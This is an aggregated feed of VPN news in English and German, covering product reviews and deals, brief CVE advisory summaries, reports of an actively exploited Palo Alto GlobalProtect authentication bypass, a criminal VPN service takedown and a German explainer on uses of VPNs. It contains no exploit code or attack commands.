“`html The best VPN for streaming in 2026 is NordVPN. In our hands-on testing across Netflix, Hulu, Prime Video, and Fire TV, it consistently unblocked content on the first attempt, held speeds above 400 Mbps on a 500 Mbps connection, and worked reliably across every device we tested. If you want one answer you can […] The post What is the Best VPN for Streaming appeared first on AddictiveTips.

How to Unblock Facebook with a VPN 2026

Thu, 04 Jun 2026 09:13:09 +0200

The best VPN for Facebook overall is NordVPN — it reliably unblocks Facebook in high-censorship countries, runs obfuscated servers that hide VPN traffic, and holds an independently audited no-logs policy. If you’re watching your budget, Surfshark is the strongest value pick. For the fastest speeds on Messenger video calls, ExpressVPN leads the field. When people […] The post How to Unblock Facebook with a VPN 2026 appeared first on AddictiveTips.

Best VPN to Unblock Popcornflix from Anywhere

Thu, 04 Jun 2026 10:42:43 +0200

Popcornflix is a free, ad-supported streaming service — no subscription, no sign-up required. The catch is that it is only officially available in the United States, Canada, and a small number of other countries. If you try to access it from outside those regions, you hit a geo-block. Finding the best VPN for Popcornflix is […] The post Best VPN to Unblock Popcornflix from Anywhere appeared first on AddictiveTips.

CVE-2026-22226 | TP-Link Archer BE230 1.2.4 VPN Server Configuration os command injection (EUVD-2026-5089)

Thu, 04 Jun 2026 22:52:57 +0200

A vulnerability classified as critical was found in TP-Link Archer BE230 1.2.4. The affected element is an unknown function of the component VPN Server Configuration Module. Executing a manipulation can lead to os command injection. This vulnerability is handled as CVE-2026-22226. The attack can only be done within the local network. There is not any exploit available. Upgrading the affected component is advised.

VPN und drei Sätze genügen: Das Instagram-Hack-Desaster von Meta

Wed, 03 Jun 2026 13:05:02 +0200

Metas KI-Chatbot sollte Instagram-Nutzern helfen – stattdessen lieferte er monatelang Accounts an Hacker aus. Mit VPN und simplen Befehlen ließen ...

Roku just got 4 free sports channels including two from FIFA — but World Cup fans should still use these VPNs and apps instead

Thu, 04 Jun 2026 13:56:48 +0200

Roku has added four new sports channels for free, just in time for the FIFA World Cup.

This is the VPN I'd give to my gran to keep her banking safe and her online Scrabble secure — everything's explained, everything's private, and it's cheaper than NordVPN right now

Wed, 03 Jun 2026 19:04:46 +0200

I've tested VPNs for years, and this is the one that's simple enough to give to anyone. Right now it's even cheaper than the best VPN there is.

Why Millions of People Are Finally Looking Up What a VPN Is (And What to Do Next)

Wed, 03 Jun 2026 16:17:57 +0200

In this post, I will talk about why millions of people are finally looking up what a VPN is (and what to do next). You’re sitting in a coffee shop, laptop open, getting on with your day. You connect to the café’s free Wi-Fi — the password is written on the chalkboard — and log […] The post Why Millions of People Are Finally Looking Up What a VPN Is (And What to Do Next) appeared first on SecureBlitz Cybersecurity.

VPN und drei Sätze genügen: Das Instagram-Hack-Desaster von Meta - Kreisbote

Wed, 03 Jun 2026 13:10:31 +0200

Metas KI-Chatbot half Hackern monatelang, Instagram-Accounts zu übernehmen. VPN und simple Befehle reichten aus. Jetzt reagiert der Konzern.

heise+ | WireGuard 1.0: Stabiles Firmen-VPN im Test

Wed, 03 Jun 2026 12:00:00 +0200

Der Windows-Client des VPN WireGuard hat Version 1.0 erreicht. Es eignet sich somit für den Unternehmenseinsatz, Admins sollten aber die Einschränkungen kennen.

CVE-2026-20069 | Cisco Secure Firewall Adaptive Security Appliance Software VPN Web Service request smuggling (cisco-sa-asaftd-desync-n5AVzEQw)

Wed, 03 Jun 2026 07:40:46 +0200

A vulnerability marked as problematic has been reported in Cisco Secure Firewall Adaptive Security Appliance Software and Secure Firewall Threat Defense Software. This affects an unknown function of the component VPN Web Service. Performing a manipulation results in http request smuggling. This vulnerability is reported as CVE-2026-20069. The attack is possible to be carried out remotely. No exploit exists. It is suggested to upgrade the affected component.

Decentralized NymVPN rolls out post-quantum protections as standard alongside a massive redesign

Tue, 02 Jun 2026 17:22:15 +0200

NymVPN's new v2026.9 update focuses on usability and security, introducing a simplified UI, default post-quantum keys on Fast Mode, and an iOS beta ad blocker.

Shopping Prime Day on 26 June? Grab this affordable VPN to protect your data—and score a free Amazon gift card while you're at it.

Tue, 02 Jun 2026 17:30:00 +0200

There's less than 24 hours left to secure your data and grab a freebie

Rapid7 observes new Palo Alto VPN flaw exploited in the wild to bypass GlobalProtect authentication

Tue, 02 Jun 2026 17:00:00 +0200

A flaw fixed last month is now being used in real-life attacks, and security researchers are urging users to patch.

VPN im Browser nutzen: So surft ihr sicher und kostenlos in Chrome, Firefox und Co.

Tue, 02 Jun 2026 14:21:46 +0200

Ein VPN könnt ihr auch kostenlos im Browser nutzen, ohne gleich zu kostenpflichtigen VPN-Diensten zu greifen. Für Chrome, Firefox und Co. gibt es verschiedene Lösungen. Dieser Artikel wurde einsortiert unter Download, VPN, Sicherheit, Browser.

The Truth About VPNs, Free VPNs, and Online Privacy \\ Day 19 - 2026 30 Day Security Challenge

Tue, 02 Jun 2026 14:40:00 +0200

Author: Shannon Morse - Bewertung: 36x - Views:182 Huge thanks to DeleteMe for sponsoring today’s episode 💜 Use code SNUBS for 20% off your plan! https://joindeleteme.com/morsecode 🔒 Day 19 of my 30-Day Security Challenge is all about VPNs, online privacy, public Wi-Fi safety, and why protecting your internet traffic is only ONE layer of digital security. Today we’re breaking down: - What a VPN actually does - Why VPNs are useful on public Wi-Fi - ISP tracking and data privacy - Why free VPNs can be risky - How I use VPNs for travel, anime merch shopping, and streaming - What to look for when choosing a VPN - Why DeleteMe helps protect your personal information online 🌐 Follow the Challenge: https://snubsie.com/30-day-security-challenge ▶️ Watch the Full Playlist: - Full Playlist - https://www.youtube.com/watch?v=l_lKuDhUjLE&list=PLeYHKbaShxTEyhny7eoWDZ92w-4bLS1Tp&index=1&t=1s #VPN #Privacy #CyberSecurity #DeleteMe #OnlinePrivacy #VPNExplained #Wireguard #OpenVPN #DataPrivacy #InternetSecurity #PublicWiFi #PrivacyTips Chapters - Day 19 Begins 00:43 - What is a VPN? 01:30 - Why VPNs Matter 02:00 - Public Wi-Fi Risks 02:48 - Bypassing Internet Restrictions 03:45 - ISP Snooping Explained 04:30 - Region-Locked Content and Anime Merch 05:28 - VPNs vs Data Brokers 06:20 - Why I Personally Use DeleteMe 08:05 - Privacy Requires Layers 09:08 - VPNs Aren’t Just for Criminals 10:00 - The Problem with Free VPNs 11:38 - Choosing the Right VPN 13:45 - My Favorite VPN Features 14:48 - Downsides of VPNs 15:40 - Day 20 Preview LINKS: https://docs.google.com/spreadsheets/d/1ijfqfLrJWLUVBfJZ_YalVpstWsjw-JGzkvMd6u2jqEk/edit?usp=sharing https://www.reddit.com/r/vpnreviews/comments/1f34sgc/best_vpn_list_detailed_vpn_comparison/ https://www.buzzfeednews.com/article/craigsilverman/vpn-and-ad-blocking-apps-sensor-tower Becoming a Morse Code Member by checking out the perks linked here!: https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join Editor: @ColleenEdits 💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜 SUBSCRIBE! 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1 💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜 SUPPORT MY WORK PATREON 💛 https://www.patreon.com/ShannonMorse BUY ME A COFFEE 💛 https://www.buymeacoffee.com/snubs MY SHOP 💛 https://shannonrmorse.com/shop SPRING SHOP 💛 https://morsecode.creator-spring.com/ ACTIVE COUPON CODES 💛 https://shannonrmorse.com/support 💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜 FOLLOW THE SOCIALS THINGS THREADS 🌸 https://www.threads.net/@snubs INSTAGRAM 🌸 http://www.instagram.com/snubs TIKTOK 🌸 https://tiktok.com/@snubsie YOUTUBE 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1 WEBSITE 🌸 https://www.morsecodecreative.com/ 💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜 TECH I USE AND RECOMMEND My Kits, Builds, and Must Haves ✨ https://kit.co/ShannonMorse My Amazon Influencer Page ✨ https://www.amazon.com/shop/shannonmorse My LiveStreaming Software ✨ https://streamyard.com/pal/d/6029725427957760 💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜 MY OTHER SHOWS Shannon Travels The World 🌙 https://www.youtube.com/@ShannonTravelsTheWorld/featured Sailor Snubs 🌙 https://www.youtube.com/@SailorSnubs/featured 💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜 GET IN TOUCH Mail ✈ https://shannonrmorse.com/contact Email for Business and Sponsorship Inquiries ✈ Shannon@ShannonRMorse.com My Media Kit ✈ https://shannonrmorse.com/work-with-me Sponsor This Channel ✈ https://shannonrmorse.com/shannon-morse 💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜 😍 FTC DISCLAIMER 😍 Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support! Comment section code of conduct policy: Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :) https://shannonrmorse.com/code-of-conduct Code of Ethics: https://www.morsecodecreative.com/code-of-ethics FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.

First VPN Service Taken Offline Following Ransomware and Data Theft Investigation

Mon, 01 Jun 2026 20:32:03 +0200

Cybercrime has become increasingly challenging as efforts to disrupt it have shifted beyond the threat actors themselves towards the infrastructure that enables them to operate at scale have increased. First VPN has been dismantled in a significant enforcement action… Read more → The post First VPN Service Taken Offline Following Ransomware and Data Theft Investigation appeared first on IT Security News.

RaccoonLine Publishes a Breakdown of 7 Structural Differences Between dVPNs and Traditional VPNs

Mon, 01 Jun 2026 19:32:26 +0200

Rome, Italy, June 1st, 2026, CyberNewswire With VPN providers facing increasing legal pressure from governments across multiple jurisdictions in 2026, RaccoonLine today published a technical breakdown of the seven structural differences between decentralized and centralized VPN architecture, focusing specifically on… Read more → The post RaccoonLine Publishes a Breakdown of 7 Structural Differences Between dVPNs and Traditional VPNs appeared first on IT Security News.

NordVPN bringt Anrufschutz auf das iPhone: Echtzeit-Warnungen gegen Betrugsanrufe

Mon, 01 Jun 2026 19:08:43 +0200

Das Cybersicherheits-Unternehmen NordVPN erweitert den eigenen Anrufschutz nun auch auf iPhones und bietet Nutzern und Nutzerinnen damit weltweit Echtzeit-Warnungen vor potenziell betrügerischen Anrufen. Die Funktion, die bereits auf Android-Geräten verfügbar war, soll Betrugsanrufe erkennen und blockieren, bevor sie entgegengenommen werden. Mit diesem Schritt reagiert das Unternehmen auf eine wachsende Bedrohung: Laut einer Studie der Global […] Der Beitrag NordVPN bringt Anrufschutz auf das iPhone: Echtzeit-Warnungen gegen Betrugsanrufe erschien zuerst auf appgefahren.de.

RaccoonLine Publishes a Breakdown of 7 Structural Differences Between dVPNs and Traditional VPNs

Mon, 01 Jun 2026 19:08:36 +0200

Rome, Italy, June 1st, 2026, CyberNewswire With VPN providers facing increasing legal pressure from governments across multiple jurisdictions in 2026, RaccoonLine today published a technical breakdown of the seven structural differences between decentralized and centralized VPN architecture, focusing specifically on which differences matter when privacy protection is most critical. For most users, the practical difference […] The post RaccoonLine Publishes a Breakdown of 7 Structural Differences Between dVPNs and Traditional VPNs appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

NordVPN rolls out real-time scam Call Protection for iPhone users globally — here's how it keeps your phone more secure than ever

Mon, 01 Jun 2026 18:43:01 +0200

Scam calls are a $442 billion problem, but iPhone users are getting a new weapon. NordVPN just rolled out its Call Protection feature globally for iOS, promising real-time scam alerts without logging your private conversations.

Norton VPN expands global footprint with 25 new server locations and adds on-demand IP switching — here's everything you need to know

Mon, 01 Jun 2026 17:07:55 +0200

Norton VPN has quietly dropped a significant update, expanding its network to over 130 locations across 90 countries and introducing a clever manual IP rotation tool to help users seamlessly bypass streaming blocks.

Having trouble with Zoom calls while working from home? This VPN could improve your entire home office experience

Mon, 01 Jun 2026 17:25:59 +0200

ISP peering issues can range from annoying to truly obstructive, but this ExpressVPN deal offers an affordable fix

RaccoonLine Publishes 2026 dVPN Buyer’s Guide for Privacy-Focused Users

Mon, 01 Jun 2026 17:02:32 +0200

Roma, Італія, 1st June 2026, CyberNewswire This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the original article: RaccoonLine Publishes 2026 dVPN Buyer’s Guide for Privacy-Focused Users Read more → The post RaccoonLine Publishes 2026 dVPN Buyer’s Guide for Privacy-Focused Users appeared first on IT Security News.

RaccoonLine Publishes 2026 dVPN Buyer’s Guide for Privacy-Focused Users

Mon, 01 Jun 2026 16:50:01 +0200

Roma, Італія, 1st June 2026, CyberNewswire

Mullvad VPN on Android passes Google-backed MASA security audit

Mon, 01 Jun 2026 16:06:24 +0200

Mullvad has announced that its Android VPN application has successfully passed the Mobile Application Security Assessment (MASA) for a second consecutive year. The assessment identified several minor issues, all of which were addressed in a subsequent release, resulting in a successful compliance outcome. The security assessment examined Mullvad's Android app version 2026.2 against the Mobile … The post Mullvad VPN on Android passes Google-backed MASA security audit appeared first on CyberInsider.

Palo Alto VPN bug graduates from advisory to active exploitation

Mon, 01 Jun 2026 14:33:09 +0200

Rapid7: Attackers exploit authentication bypass flaw in the wild, meaning more emergency patching for PAN-OS users This article has been indexed from www.theregister.com – Articles Read the original article: Palo Alto VPN bug graduates from advisory to active exploitation Read more → The post Palo Alto VPN bug graduates from advisory to active exploitation appeared first on IT Security News.

Palo Alto VPN bug graduates from advisory to active exploitation

Mon, 01 Jun 2026 14:15:00 +0200

Rapid7: Attackers exploit authentication bypass flaw in the wild, meaning more emergency patching for PAN-OS users

7 Gründe, warum Sie jetzt unbedingt einen VPN-Dienst nutzen sollten

Mon, 01 Jun 2026 13:30:00 +0200

Ein Virtuelles Privates Netzwerk (VPN) verschleiert die private IP-Adresse des Nutzers und leitet den Datenverkehr über einen ausgewählten Server. Auf diese Weise können Sie sich anonym und sicher im Internet bewegen. Doch das sind längst nicht alle Vorteile! Wir zeigen Ihnen 7 Gründe, warum sich ein VPN lohnt und welche Anbieter überzeugen. 1. Unbegrenztes Streamen weltweit Aus Lizenzgründen können Sie in Deutschland kein US-Netflix empfangen und im Mallorca-Urlaub keinen Tatort auf ARD schauen. Außer: Sie nutzen ein VPN, dann geht es nämlich. Dadurch umgehen Sie sämtliche Ländersperren und können von überall Ihre Lieblingsserien streamen. Das gilt übrigens nicht nur für Netflix: Auch Disney+, Amazon Prime Video und Apple TV+ zeigen je nach Region unterschiedliche Inhalte. Mit einem VPN greifen Sie auf das jeweils größte Angebot zu. Allerdings sollten Sie wissen: Netflix, Disney+ und andere Streaming-Anbieter kämpfen aktiv gegen VPN-Nutzung und sperren bekannte VPN-Server regelmäßig. Speziell kostenlose VPN-Dienste oder Anbieter mit wenigen Servern werden von Netflix und Co. schnell erkannt und blockiert. Wenn Sie zuverlässig streamen möchten, brauchen Sie einen Premium-Anbieter, der seine Server ständig aktualisiert und für Streaming optimiert hat. Eines der zuverlässigsten VPNs dafür ist Cyberghost VPN dank seiner speziell optimierten Streaming-Server. Alternativ bieten auch NordVPN und ExpressVPN hervorragende Performance und breite Kompatibilität mit Streamingdiensten. Über ein VPN können Sie sich sogar bei Diensten wie Hulu anmelden, die in Deutschland normalerweise nicht verfügbar sind. Ein weiterer Vorteil ist, dass Sie neue Filme (beispielsweise aus den USA) direkt zum Start sehen können und nicht erst warten müssen, bis diese in Deutschland ausgestrahlt werden. Englisch natürlich vorausgesetzt. Mehr Infos zum besten VPN für die USA gibt es hier. 2. Zugriff auf zensierte Dienste In Ländern mit Internetzensur ist ein VPN unverzichtbar. China sperrt mit seiner sogenannten “Großen Firewall” zum Beispiel Dienste wie Google, Youtube, Instagram, Whatsapp und Facebook vollständig. Russland ist ähnlich restriktiv: Seit dem Angriff auf die Ukraine wurden dort zahlreiche westliche Plattformen gesperrt, darunter Instagram und X/Twitter. Mit einem VPN verlagern Sie Ihren virtuellen Standort ins Ausland und erhalten dadurch wieder Zugriff. Wie das für China konkret funktioniert, lesen Sie in unserem Ratgeber “VPN China: Wie Sie die Große Firewall umgehen“. Ob und wie gut das mit einem VPN klappt, hängt jedoch stark vom jeweiligen VPN-Anbieter ab. Manche Anbieterseiten unterliegen ebenfalls der Zensur und können in bestimmten Ländern nicht aufgerufen werden. Die VPN-Software sollten Sie daher vor der Reise herunterladen und einrichten. Das ist auch auf Dienstreisen relevant: In vielen Ländern, darunter die Türkei, der Iran oder die Vereinigten Arabischen Emirate, sind bestimmte Dienste eingeschränkt oder komplett gesperrt. Mit einem VPN bleiben Sie auch unterwegs erreichbar und verbunden. US-Dienste wie Facebook, Whatsapp und Co. sind in China tabu – außer Sie nutzen ein VPN.Rawpixel.com/Shutterstock.com 3. Kostenloses Live-TV Ähnlich wie Netflix und Co. sind auch Live-TV-Streaming-Dienste von Geoblocking betroffen. Über ein VPN bekommen Sie aber möglicherweise mehr Inhalte ohne Zusatzkosten. Ein anschauliches Beispiel: In Deutschland erhalten Sie beim Streaming-Dienst Zattoo aktuell 210 TV-Sender in SD-Qualität im kostenlosen Free-Tarif. Darunter sind viele öffentlich-rechtliche Programme, aber kaum große Privatsender wie RTL, Prosieben oder Sat.1, denn die kosten in Deutschland extra. Ändern Sie Ihren virtuellen Standort per VPN in die Schweiz und erstellen sich dort ein kostenloses Zattoo-Konto, stehen Ihnen hingegen über 270 Sender zur Verfügung, inklusive der großen Privatsender. Das liegt daran, dass das Schweizer Medienrecht die Weiterverbreitung ausländischer Sender großzügiger regelt als das deutsche. Einen umfassenden Überblick über alle Möglichkeiten, TV über das Internet zu empfangen, finden Sie in unserem Ratgeber “TV via Internet: Diese Möglichkeiten haben Sie“. 4. Schutz bei Downloads (Torrents) Im Bereich Filesharing und Torrenting sollten Sie besonders vorsichtig sein. Ohne VPN lassen sich Ihre Aktivitäten mühelos nachverfolgen. Unter anderem sieht Ihr Internetanbieter, was Sie herunterladen. Und auch Rechteinhaber können Ihre IP-Adresse identifizieren. In Deutschland drohen beim Torrenting urheberrechtlich geschützter Inhalte Abmahnungen, die schnell mehrere Hundert Euro kosten können. Wichtig: Das Torrent-Protokoll selbst ist legal. Illegal wird es erst dann, wenn Sie damit urheberrechtlich geschützte Inhalte herunterladen oder verbreiten, also Filme, Musik oder Software, für die Sie keine Lizenz besitzen. Für legale Inhalte wie Linux-Distributionen oder lizenzfreie Dateien ist Torrenting dagegen völlig unbedenklich. Ein VPN verschlüsselt Ihre Internetverbindung und leitet den Torrent-Traffic über einen externen Server weiter, sodass Sie unerkannt bleiben. Achten Sie dabei auf eine strikte No-Logs-Politik, Torrent-freundliche Server und ausreichend Geschwindigkeit. In unserem Ratgeber Die besten VPNs fürs Filesharing haben wir die besten Anbieter für Sie getestet. Besonders zu empfehlen sind NordVPN und ExpressVPN. 5. Rabatt beim Online-Shopping Ein weit unterschätztes Einsatzgebiet von VPNs ist das Online-Shopping. Online-Shops und Buchungsplattformen nutzen eine sogenannte dynamische Preisgestaltung: Je nach Standort, Gerät und IP-Adresse werden unterschiedliche Preise angezeigt. Ein Flugticket kann mit einer österreichischen IP-Adresse günstiger sein als mit einer deutschen, ein Streaming-Abo in einem anderen Land deutlich weniger kosten als hierzulande. Auch bei Hotelbuchungen, Software-Lizenzen und Game-Codes lohnt sich ein Blick über den virtuellen Tellerrand.Dieser Trick klappt allerdings nicht überall zuverlässig und hängt, wieder einmal, vom genutzten VPN-Anbieter ab. Manche Plattformen erkennen VPN-Verbindungen und sperren sie, andere verlangen eine lokale Zahlungsmethode. Premium-Anbieter mit vielen Servern und regelmäßigen Updates haben hier deutlich bessere Karten als günstige oder kostenlose Alternativen. Voraussetzung ist, dass sich das VPN schnell und zuverlässig bedienen lässt, besonders auf dem Smartphone oder Tablet. In unserem großen VPN-Testvergleich zeigen wir, welche Anbieter hier besonders benutzerfreundlich sind. Wir empfehlen Cyberghost, NordVPN, Surfshark oder ExpressVPN. 6. Datenschutz, Datenschutz, Datenschutz Beim normalen Surfen im Internet hinterlassen Sie mehr Daten und Informationen, als Ihnen vielleicht bewusst ist. Jeder Website-Aufruf und jede Sucheingabe in Google und Co. geben potenzielle Informationen zu Ihren Interessen, Wünschen und vielem mehr preis. Wenn Sie Wert auf den Schutz Ihrer Daten legen, ist ein VPN die einfachste Wahl. Es schützt Ihren Datenverkehr am heimischen Computer genauso wie in öffentlichen Netzwerken. In offenen WLANs, etwa im Café, Hotel oder am Flughafen, besteht ohne VPN immer die Gefahr, dass Ihre Daten ausgelesen werden. Nutzen Sie daher niemals ein offenes Netzwerk ohne VPN, wenn Sie sensible Daten abfragen oder Bankgeschäfte tätigen möchten. Wie Sie sich in öffentlichen Netzwerken zusätzlich absichern, erklären wir in unserem Ratgeber “So sichern Sie öffentliche WLAN-Verbindungen ab“. Sollten Sie sich für ein VPN entscheiden, raten wir Ihnen zu einem Premium-Anbieter wie NordVPN oder Surfshark – mehr dazu in unserem aktuellen VPN-Test. Diese kosten nur ein paar Euro im Monat und übertreffen kostenlose VPN-Dienste um ein Vielfaches. 7. Sicherer und entspannter zocken Auch für Gamer lohnt sich ein VPN, und zwar aus mehreren Gründen. Der wichtigste: Schutz vor DDoS-Angriffen. Dabei überfluten Angreifer gezielt die Internetverbindung eines Spielers mit Anfragen, um ihn aus dem Spiel zu werfen. Ein VPN verbirgt die echte IP-Adresse und leitet den Traffic über einen externen Server, sodass solche Angriffe ins Leere laufen. FabrikaSimf / Shutterstock.com Darüber hinaus können Sie mit einem VPN Spiele oder Erweiterungen früher spielen, die in bestimmten Regionen noch nicht veröffentlicht wurden. Und falls Ihr Internetanbieter Gaming-Traffic während der Stoßzeiten drosselt, kann ein VPN auch hier helfen, da die Verbindung verschlüsselt und damit für den Anbieter schwerer zu identifizieren ist. Achten Sie beim Gaming-VPN besonders auf niedrige Latenzzeiten und hohe Geschwindigkeit. Alle Details dazu finden Sie in unserem Ratgeber “So verbessert ein VPN Ihr Gaming-Erlebnis“. Weitere spannende VPN-Themen: Die besten VPN-Anbieter im Vergleich Streaming mit VPN: Wie einfach ist das wirklich? Cyberghost VPN mit 45 Tagen Rückgabegarantie VPN auf dem Smartphone installieren – So einfach klappt die Einrichtung Warum Sie besser keinen kostenlosen VPN-Dienst nutzen sollten

Hackers are exploiting Palo Alto GlobalProtect VPN authentication bypass (CVE-2026-0257)

Mon, 01 Jun 2026 11:40:54 +0200

Authentication bypass vulnerabilities (CVE-2026-0257) in Palo Alto Networks’ firewalls that the company disclosed on May 13 have been targeted in “limited exploit attempts”. “Across multiple customers, Rapid7 observed successful exploitation via authentication probes using forged cookies, but the appliance accepted the cookie without a full VPN session being established in 8 out of 10 impacted [Managed Detection Response] customers.” The good news, though, is that the company hasn’t observed any indication of successful lateral movement … More → The post Hackers are exploiting Palo Alto GlobalProtect VPN authentication bypass (CVE-2026-0257) appeared first on Help Net Security.

Hackers are exploiting Palo Alto GlobalProtect VPN authentication bypass (CVE-2026-0257)

Mon, 01 Jun 2026 12:02:39 +0200

Palo Alto GlobalProtect: Aktiv ausgenutzter VPN-Bypass bedroht Firmennetze

Mon, 01 Jun 2026 09:22:04 +0200

Hacker nutzen eine Schwachstelle in Palo Alto Networks GlobalProtect aktiv aus, um über gefälschte Cookies Zugriff auf interne Firmennetze zu erlangen. Tags: #Cyber Crime | #VPN

GlobalProtect VPN exploited, ChatGPT share links exploits, Feds criticize NIST

Mon, 01 Jun 2026 09:32:17 +0200

Palo Alto GlobalProtect VPN auth bypass flaw now exploited in attacks ChatGPT share links used to host fake outage pages to deliver malware Federal audit reveals NIST’s NVD problems Get the show notes here: https://cisoseries.com/cybersecurity-news-globalprotect-vpn-exploited-chatgpt-share-links-exploits-feds-criticize-nist/ Huge thanks to our episode… Read more → The post GlobalProtect VPN exploited, ChatGPT share links exploits, Feds criticize NIST appeared first on IT Security News.

'No critical findings' — ExpressVPN’s new products get thumbs up from third-party security audit in firm's 27th round of independent review

Mon, 01 Jun 2026 08:00:00 +0200

ExpressVPN has undergone 27 audits, clearing the bar for its ExpressMailGuard and Identity Defender. Here's why it matters.

Microsoft Threatens Security Researcher | Palo Alto VPN Exploited | Google Insider Trading Case

Mon, 01 Jun 2026 06:32:03 +0200

Microsoft’s dispute with a former security researcher takes a dramatic turn as the company raises the possibility of criminal action over the publication of proof-of-concept code for unpatched zero-day vulnerabilities. David Shipley examines the escalating conflict between Microsoft and “Nightmare… Read more → The post Microsoft Threatens Security Researcher | Palo Alto VPN Exploited | Google Insider Trading Case appeared first on IT Security News.

CVE-2026-0257: Rapid7 Caught Attackers Abusing Forged VPN Cookies Against Multiple Customers

Sun, 31 May 2026 20:36:21 +0200

CVE-2026-0257 lets attackers forge Palo Alto GlobalProtect auth cookies and bypass VPN login. Exploitation confirmed since May 17. Palo Alto Networks addressed the vulnerability CVE-2026-0257 on May 13. Two weeks later, cybersecurity firm Rapid7 confirmed active exploitation across multiple customer… Read more → The post CVE-2026-0257: Rapid7 Caught Attackers Abusing Forged VPN Cookies Against Multiple Customers appeared first on IT Security News.

CVE-2026-0257: Rapid7 Caught Attackers Abusing Forged VPN Cookies Against Multiple Customers

Sun, 31 May 2026 19:52:29 +0200

CVE-2026-0257 lets attackers forge Palo Alto GlobalProtect auth cookies and bypass VPN login. Exploitation confirmed since May 17. Palo Alto Networks addressed the vulnerability CVE-2026-0257 on May 13. Two weeks later, cybersecurity firm Rapid7 confirmed active exploitation across multiple customer environments. The flaw impacts the GlobalProtect portal and gateway components of Palo Alto Networks PAN-OS […]

Sick of scammers and spammers? Our exclusive VPN deal includes an email alias generator, ad blocker, and unlimited device coverage.

Sun, 31 May 2026 03:00:00 +0200

Surfshark’s range of security tools make it a great pick for those who want more than just a VPN without breaking the bank

Operation Saffron: Krimineller VPN-Dienst für Ransomware abgeschaltet

Sat, 30 May 2026 19:34:06 +0200

... Cyberkriminalitätsermittlung “ aufgetaucht. Anzeige. Jetzt Newsletter abonnieren. Einmal im Monat die besten News von B2B CYBER SECURITY lesen. E ...

Palo Alto GlobalProtect VPN auth bypass flaw now exploited in attacks

Sat, 30 May 2026 20:02:51 +0200

Palo Alto Networks is warning that hackers are now exploiting a PAN-OS GlobalProtect authentication bypass flaw, tracked as CVE-2026-0257, in attacks attempting to breach corporate networks. [...]

I've watched the entire Champions League 2026 using this streaming VPN — so I know it'll be the perfect solution if you want to stream the Champions League final securely

Sat, 30 May 2026 03:00:00 +0200

My team might've dropped out, but my connection hasn't since

'The situation isn’t looking good' — Russia halts VPN fees, but the Kremlin's war against censorship circumvention tools doubles down

Fri, 29 May 2026 17:18:42 +0200

A new major wave of VPN blocks has left residents with very few means of going back online. Here's all we know.

FBI confirms 25 ransomware groups using First VPN’s now seized services — here’s what we know

Fri, 29 May 2026 16:18:20 +0200

FBI links First VPN’s activities to gangs involved in cybercrime and calls for tighter security controls and behavioural monitoring to prevent cyberattacks.

ExpressVPN blows away the competition on security audits - but what do they mean?

Fri, 29 May 2026 16:22:34 +0200

Ever wonder what a VPN audit is or why they're always announced to the public? Here's why.

CVE-2026-48131 | Check Point Quantum Security Gateway VPN Service heap-based overflow (WID-SEC-2026-1726)

Fri, 29 May 2026 11:11:27 +0200

A vulnerability was found in Check Point Quantum Security Gateway and classified as critical. This affects an unknown part of the component VPN Service. Such manipulation leads to heap-based buffer overflow. This vulnerability is uniquely identified as CVE-2026-48131. The attack can be launched remotely. No exploit exists.

CVE-2026-48132 | Check Point Quantum Security Gateway VPN Processing Service length out-of-bounds (WID-SEC-2026-1726)

Fri, 29 May 2026 11:11:28 +0200

A vulnerability was found in Check Point Quantum Security Gateway. It has been classified as problematic. This vulnerability affects unknown code of the component VPN Processing Service. Performing a manipulation of the argument length results in out-of-bounds read. This vulnerability was named CVE-2026-48132. The attack may be initiated remotely. There is no available exploit.

OpenVPN Connect macOS Vulnerability Allows Remote Command Execution

Fri, 29 May 2026 09:36:56 +0200

OpenVPN has released a critical security update for its macOS client after researchers uncovered a vulnerability that could allow remote command execution on affected systems. The issue, tracked as CVE-2026-9560, impacts the privileged helper component in OpenVPN Connect and has… Read more → The post OpenVPN Connect macOS Vulnerability Allows Remote Command Execution appeared first on IT Security News.

OpenVPN Connect macOS Vulnerability Allows Remote Command Execution

Fri, 29 May 2026 09:18:44 +0200

OpenVPN has released a critical security update for its macOS client after researchers uncovered a vulnerability that could allow remote command execution on affected systems. The issue, tracked as CVE-2026-9560, impacts the privileged helper component in OpenVPN Connect and has been fixed in version 3.8.2 (build 6009), released on May 25, 2026. OpenVPN Connect macOS […] The post OpenVPN Connect macOS Vulnerability Allows Remote Command Execution appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

BSI-Warnung zu OpenVPN Connect für macOS: CVE-2026-9560 hochriskant

Fri, 29 May 2026 08:16:06 +0200

BERLIN / LONDON (IT BOLTWISE) – Das BSI warnt vor einer hochriskanten Schwachstelle in OpenVPN Connect unter macOS: Mit der CVE-2026-9560 lässt sich offenbar eine Privilegieneskalation ausnutzen. Betroffen sind Mac-Varianten sowie bestimmte Versionen des Open-Source-OpenVPN-Clients. Laut Bewertung liegt der CVSS Base Score bei 9,3, was die Dringlichkeit für Unternehmen und IT-Teams erhöht. Jetzt geht es […] ... den vollständigen Artikel »BSI-Warnung zu OpenVPN Connect für macOS: CVE-2026-9560 hochriskant« lesen Dieser Beitrag BSI-Warnung zu OpenVPN Connect für macOS: CVE-2026-9560 hochriskant erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Critical OpenVPN Connect macOS Flaw Enables Command Execution

Fri, 29 May 2026 07:26:55 +0200

